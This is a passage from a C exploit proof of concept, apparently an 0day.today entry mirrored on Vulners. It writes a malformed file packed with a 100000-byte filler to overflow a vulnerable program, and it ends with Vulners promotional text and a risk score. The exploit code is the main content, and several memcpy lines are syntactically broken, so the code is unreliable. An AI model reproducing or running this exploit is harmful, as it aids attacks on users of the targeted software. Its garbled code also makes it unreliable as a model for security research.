0x73, 0x6F, 0x75, 0x6E, 0x64, 0x69, 0x6E, 0x66, 0x6F, 0x3E, 0x0A };
int main(int argc, char *argv[])
{
banner();
char payload[PSIZE];
char input[100000];
memset(input,0x4A,100000);
memcpy(payload,starter,strlen(starter));
memcpy(payload+strlen(starter),input,strlen(input));
memcpy(payload+strlen(starter)+strlen(input)+body,strlen(body));
memcpy(payload+strlen(starter)+strlen(input)+strlen(body)+tail,strlen(tail));
fp = fopen(FN,"wb");
if(fp==NULL)
{
perror ("Oops! Can't open file.\n");
}
fwrite(payload,1,sizeof(payload),fp);
fclose(fp);
sleep(1);
printf("\nDone!\n");
printf("File %s created!\n", FN);
return 0;
}
# 0day.today [2018-03-02] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Nov 2010 00:00Current
7High risk
Vulners AI Score7